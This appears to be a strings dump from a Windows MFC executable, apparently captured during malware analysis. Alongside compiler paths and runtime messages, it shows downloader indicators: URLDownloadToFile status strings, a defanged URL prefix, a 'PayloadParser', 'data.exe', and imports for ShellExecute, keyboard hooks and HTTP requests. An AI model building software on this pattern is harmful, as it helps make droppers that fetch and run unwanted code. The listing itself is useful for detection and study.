f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_d.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_p.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_o.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_pp.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_wo.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_so.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\map_ss.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgcomm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\bartool.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\afxcrit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occevent.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filemem.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\plex.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appui3.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olelock.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winutil.cpp

Warning: Shrinking safety pool from %d to %d to satisfy request of %d bytes.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\list_p.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winmenu.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcmn2.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxcmn.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledisp2.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\arcstrm.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleenum.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\apphelp.cpp

Error: failed to load AfxFormatString string 0xx.

Error: illegal string index requested %d.

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dlgtempl.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxmt.inl

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filest.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpout.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\fixalloc.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledisp1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olecnvrt.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olemsgf.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\occlock.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olefact.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledobj2.cpp

a %hs object at $%p, %u bytes long

an invalid object at $%p, %u bytes long

faulted while dumping object at $%p, %u bytes long

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dumpinit.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledlgs2.cpp

m_bz.hTask =

m_bz.hResource =

m_bz.lpszTemplate =

m_bz.hInstance =

m_bz.lCustData =

m_bz.lpszCaption =

m_bz.hWndOwner =

m_bz.dwFlags =

m_bz.cbStruct =

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledoc1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\list_o.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

%s(%d) :

%s_%0x

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atlbase.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setvbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\threadex.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\w_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

This is an unsupported way to load Visual C   DLLs. You need to modify your application to build with a manifest.

- Attempt to initialize the CRT more than once.

- CRT not initialized

Please contact the application's support team for more information.

- floating point support not loaded

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

ADVAPI32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

USER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\convrtcp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

Run-Time Check Failure #%d - %s

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

MSPDB80.DLL

RegCloseKey

RegOpenKeyExA

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appmodul.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winmain.cpp

.?AVCCmdTarget@@

.?AVCWebBrowser2@@

.?AVExecuteBase@@

.?AVExecuteFacade@@

.PAVCFileException@@

.PAVCInternetException@@

.PAVexception@std@@

.PAVCMemoryException@@

.PAVCSimpleException@@

.PAVCException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.PAVCOleException@@

.?AVCNotSupportedException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCUserException@@

.PAVCResourceException@@

.PAVCArchiveException@@

.?AVCHttpConnection@@

.?AVCHttpFile@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCOleDispatchException@@

zcÁ

"""2#"#"

##:;;>>1

jjk%xxy

jjk`jjk%xxy

(. .dD=A

%U'QQ)W@

%sRpgBIj

*Ú3m

GetCPInfo

GetConsoleOutputCP

GetProcessHeap

RegOpenKeyExW

RegEnumKeyExW

RegCreateKeyExW

RegOpenKeyW

RegEnumKeyW

RegCreateKeyW

RegDeleteKeyW

RegQueryInfoKeyW

RegNotifyChangeKeyValue

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

ShellExecuteW

ShellExecuteExW

UrlUnescapeW

URLDownloadToFileW

SetWindowsHookExW

GetKeyState

CreateDialogIndirectParamW

UnhookWindowsHookEx

HttpQueryInfoW

HttpSendRequestW

HttpOpenRequestW

InternetOpenUrlW

InternetCanonicalizeUrlW

InternetCrackUrlW

.text

`.rdata

@.data

.rsrc

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xutility

AtlThrow: hr = 0x%x

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlsimpstr.h

std::_Vector_const_iterator<unsigned int,class std::allocator<unsigned int> >::operator *

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\vector

std::_Vector_const_iterator<unsigned int,class std::allocator<unsigned int> >::operator  =

std::_Vector_const_iterator<struct offerStruct *,class std::allocator<struct offerStruct *> >::operator *

std::_Vector_const_iterator<class std::vector<unsigned int,class std::allocator<unsigned int> > *,class std::allocator<class std::vector<unsigned int,class std::allocator<unsigned int> > *> >::operator *

std::_Vector_const_iterator<struct offerStruct *,class std::allocator<struct offerStruct *> >::operator  =

std::_Vector_const_iterator<class std::vector<unsigned int,class std::allocator<unsigned int> > *,class std::allocator<class std::vector<unsigned int,class std::allocator<unsigned int> > *> >::operator  =

std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::operator []

hWarning: implicit LoadString(%u) failed

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Windows

IsWindowsServer,

std::vector<unsigned char,class std::allocator<unsigned char> >::operator []

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator *

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator  =

std::vector<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator []

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\algorithm

std::_Vector_const_iterator<unsigned char,class std::allocator<unsigned char> >::operator   

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator  =

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_Vector_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\ostream

std::_Tree<class std::_Tmap_traits<int,wchar_t const *,struct std::less<int>,class std::allocator<struct std::pair<int const ,wchar_t const *> >,0> >::const_iterator::operator ==

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\xtree

std::_Tree<class std::_Tmap_traits<int,wchar_t const *,struct std::less<int>,class std::allocator<struct std::pair<int const ,wchar_t const *> >,0> >::const_iterator::operator *

Ainvalid operator<

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::_Inc

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,unsigned long,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,unsigned long> >,0> >::const_iterator::_Inc

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > > >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,__int64,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,__int64> >,0> >::const_iterator::_Inc

ExtractIcon.cpp

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator   

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\list

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator --

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   

std::_Vector_const_iterator<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\include\regex

_std::_Vector_const_iterator<char,class std::allocator<char> >::operator *

std::list<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::_Const_iterator<1>::operator *

std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class CWinThread *,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class CWinThread *> >,0> >::const_iterator::_Inc

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\atlcomcli.h

helpJavaScript.cpp

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator  =

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator *

std::_Vector_const_iterator<wchar_t,class std::allocator<wchar_t> >::operator   

std::vector<wchar_t,class std::allocator<wchar_t> >::operator []

E_OUTOFMEMORY FAIL URLDownloadToFile

INET_E_DOWNLOAD_FAILURE FAIL URLDownloadToFile

SUCCEEDED URLDownloadToFile

SUCCEEDED default URLDownloadToFile

default URLDownloadToFile

hXXps://

std::vector<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator []

std::_Vector_const_iterator<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator  =

std::_Vector_const_iterator<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator *

std::_Vector_const_iterator<struct PayloadParser::argument,class std::allocator<struct PayloadParser::argument> >::operator   

data.exe

start.gif

std::vector<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator []

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator *

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator   

std::_Vector_const_iterator<struct CPictureEx::TFrame,class std::allocator<struct CPictureEx::TFrame> >::operator  =

5.2.329

"sentry.interfaces.Message": {

EHKEY_CURRENT_CONFIG\

HKEY_CURRENT_CONFIG

HKEY_USERS\

HKEY_LOCAL_MACHINE\

HKEY_CURRENT_USER\

HKEY_CLASSES_ROOT\

std::_Tree<class std::_Tmap_traits<unsigned int,class CTrayIcon *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class CTrayIcon *> >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<unsigned int,class CTrayIcon *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class CTrayIcon *> >,0> >::const_iterator::operator *

%s%s%s

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::operator ==

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::operator *

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::_Dec

std::_Tree<class std::_Tmap_traits<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > >,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > >,class std::allocator<struct std::pair<class ATL::CStringT<wchar_t,class StrTraitMFC<wchar_t,class ATL::ChTraitsCRT<wchar_t> > > const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> >::const_iterator::_Inc

SELECT * FROM Win32_OperatingSystem

_hd_%S

0mb_%S

Windows

CACHE_S_FORMATETC_NOTSUPPORTED

CO_E_SERVER_EXEC_FAILURE

MK_E_INTERMEDIATEINTERFACENOTSUPPORTED

OLE_E_ADVISENOTSUPPORTED

REGDB_E_KEYMISSING

SCACHE_E_FIRST...CACHE_E_LAST

CACHE_S_FIRST...CACHE_S_LAST

CLASSFACTORY_E_FIRST...CLASSFACTORY_E_LAST

CLASSFACTORY_S_FIRST...CLASSFACTORY_S_LAST

CLIENTSITE_E_FIRST...CLIENTSITE_E_LAST

CLIENTSITE_S_FIRST...CLIENTSITE_S_LAST

CLIPBRD_E_FIRST...CLIPBRD_E_LAST

CLIPBRD_S_FIRST...CLIPBRD_S_LAST

CONVERT10_E_FIRST...CONVERT10_E_LAST

CONVERT10_S_FIRST...CONVERT10_S_LAST

CO_E_FIRST...CO_E_LAST

CO_S_FIRST...CO_S_LAST

DATA_E_FIRST...DATA_E_LAST

DATA_S_FIRST...DATA_S_LAST

DRAGDROP_E_FIRST...DRAGDROP_E_LAST

DRAGDROP_S_FIRST...DRAGDROP_S_LAST

ENUM_E_FIRST...ENUM_E_LAST

ENUM_S_FIRST...ENUM_S_LAST

INPLACE_E_FIRST...INPLACE_E_LAST

INPLACE_S_FIRST...INPLACE_S_LAST

MARSHAL_E_FIRST...MARSHAL_E_LAST

MARSHAL_S_FIRST...MARSHAL_S_LAST

MK_E_FIRST...MK_E_LAST

MK_S_FIRST...MK_S_LAST

OLEOBJ_E_FIRST...OLEOBJ_E_LAST

OLEOBJ_S_FIRST...OLEOBJ_S_LAST

OLE_E_FIRST...OLE_E_LAST

OLE_S_FIRST...OLE_S_LAST

REGDB_E_FIRST...REGDB_E_LAST

REGDB_S_FIRST...REGDB_S_LAST

VIEW_E_FIRST...VIEW_E_LAST

VIEW_S_FIRST...VIEW_S_LAST

FACILITY_WINDOWS

severity: %s, facility: %s ($lX)

range: %s ($lX)

%s ($lX)

Warning: constructing COleException, scode = %s.

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlalloc.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcomcli.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlsimpstr.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\cstringt.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlconv.h

F%s (%s:%d)

%s (%s:%d)

ntdll.dll

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

%s%s.dll

If:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

Error: failed to execute DDE command '%s'.

Warning: DDE command '%s' ignored because window is disabled.

Can't register window class named %s

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

WinHelp: pszHelpFile = '%s', dwData: $%lx, fuCommand: %d.

HtmlHelp: pszHelpFile = '%s', dwData: $%lx, fuCommand: %d.

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcom.h

commctrl_DragListMsg

pMRU: open file (%d) '%s'.

If:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Binding entry %d failed. Status: %d

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlbase.h

GetData failed - HRESULT = 0x%X

m_pColumnInfo[nColumn].ulColumnSize == sizeof(ctype)

ERROR: Dialog named '%s' must have the child style.

ERROR: Dialog named '%s' must be invisible.

ERROR: Cannot find dialog template named '%s'.

CLSID\%s

Interface\%s

mfcm90ud.dll

QueryInterface(%s) failed

QueryInterface(%s) succeeded

Icomctl32.dll

Icomdlg32.dll

Ishell32.dll

